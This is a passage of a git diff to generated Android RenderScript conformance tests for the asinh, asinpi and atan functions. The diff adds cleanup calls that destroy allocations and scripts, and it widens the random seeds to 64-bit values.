             verifyResultsAsinhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhFloatFloat(inV, out);
             verifyResultsAsinhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAsinhFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x79032b38l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x198d997279032b38l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAsinhFloat2Float2(inV, out);
             verifyResultsAsinhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhFloat2Float2(inV, out);
             verifyResultsAsinhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAsinhFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6f1e4c16l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x198f628d6f1e4c16l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAsinhFloat3Float3(inV, out);
             verifyResultsAsinhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhFloat3Float3(inV, out);
             verifyResultsAsinhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAsinhFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x65396cf4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x19912ba865396cf4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAsinhFloat4Float4(inV, out);
             verifyResultsAsinhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhFloat4Float4(inV, out);
             verifyResultsAsinhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAsinhHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe509947el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa8a10df4e509947el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAsinhHalfHalf(inV, out);
             verifyResultsAsinhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhHalfHalf(inV, out);
             verifyResultsAsinhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAsinhHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe9689030l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf33cddade9689030l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAsinhHalf2Half2(inV, out);
             verifyResultsAsinhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhHalf2Half2(inV, out);
             verifyResultsAsinhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAsinhHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x48705524l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf33ce84f48705524l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAsinhHalf3Half3(inV, out);
             verifyResultsAsinhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhHalf3Half3(inV, out);
             verifyResultsAsinhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAsinhHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa7781a18l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf33cf2f0a7781a18l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAsinhHalf4Half4(inV, out);
             verifyResultsAsinhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAsinhHalf4Half4(inV, out);
             verifyResultsAsinhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.java
index 3e4e481..1248f09 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAsinpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAsinpiFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe541a30dl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe82042a5e541a30dl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAsinpiFloatFloat(inV, out);
             verifyResultsAsinpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiFloatFloat(inV, out);
             verifyResultsAsinpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAsinpiFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x9b8ce9c9l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x90dc157b9b8ce9c9l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAsinpiFloat2Float2(inV, out);
             verifyResultsAsinpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiFloat2Float2(inV, out);
             verifyResultsAsinpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAsinpiFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x91a80aa7l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x90ddde9691a80aa7l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAsinpiFloat3Float3(inV, out);
             verifyResultsAsinpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiFloat3Float3(inV, out);
             verifyResultsAsinpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAsinpiFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x87c32b85l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x90dfa7b187c32b85l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAsinpiFloat4Float4(inV, out);
             verifyResultsAsinpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiFloat4Float4(inV, out);
             verifyResultsAsinpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAsinpiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x63399e5fl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x49797df163399e5fl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAsinpiHalfHalf(inV, out);
             verifyResultsAsinpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiHalfHalf(inV, out);
             verifyResultsAsinpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAsinpiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x525fea49l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xae7db459525fea49l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAsinpiHalf2Half2(inV, out);
             verifyResultsAsinpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiHalf2Half2(inV, out);
             verifyResultsAsinpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAsinpiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb167af3dl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xae7dbefab167af3dl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAsinpiHalf3Half3(inV, out);
             verifyResultsAsinpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiHalf3Half3(inV, out);
             verifyResultsAsinpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAsinpiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x106f7431l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xae7dc99c106f7431l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAsinpiHalf4Half4(inV, out);
             verifyResultsAsinpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAsinpiHalf4Half4(inV, out);
             verifyResultsAsinpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.java
index 8a16081..41b2cde 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAtanRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAtanFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x92004c8dl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2a9ae39592004c8dl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAtanFloatFloat(inV, out);
             verifyResultsAtanFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAtanFloatFloat(inV, out);
             verifyResultsAtanFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAtanFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x48a32749l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb890789248a32749l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAtanFloat2Float2(inV, out);
             verifyResultsAtanFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAtanFloat2Float2(inV, out);
             verifyResultsAtanFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAtanFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3ebe4827l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb89241ad3ebe4827l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAtanFloat3Float3(inV, out);
             verifyResultsAtanFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAtanFloat3Float3(inV, out);
             verifyResultsAtanFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAtanFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x34d96905l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb8940ac834d96905l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAtanFloat4Float4(inV, out);
             verifyResultsAtanFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAtanFloat4Float4(inV, out);
             verifyResultsAtanFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAtanHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xfa1813dfl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x42dd620ffa1813dfl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAtanHalfHalf(inV, out);
             verifyResultsAtanHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAtanHalfHalf(inV, out);
             verifyResultsAtanHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAtanHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xff1e93c9l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf0f85548ff1e93c9l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAtanHalf2Half2(inV, out);
             verifyResultsAtanHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAtanHalf2Half2(inV, out);
             verifyResultsAtanHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAtanHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5e2658bdl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf0f85fea5e2658bdl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAtanHalf3Half3(inV, out);
             verifyResultsAtanHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAtanHalf3Half3(inV, out);
             verifyResultsAtanHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAtanHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xbd2e1db1l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf0f86a8bbd2e1db1l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAtanHalf4Half4(inV, out);
             verifyResultsAtanHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAtanHalf4Half4(inV, out);
             verifyResultsAtanHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
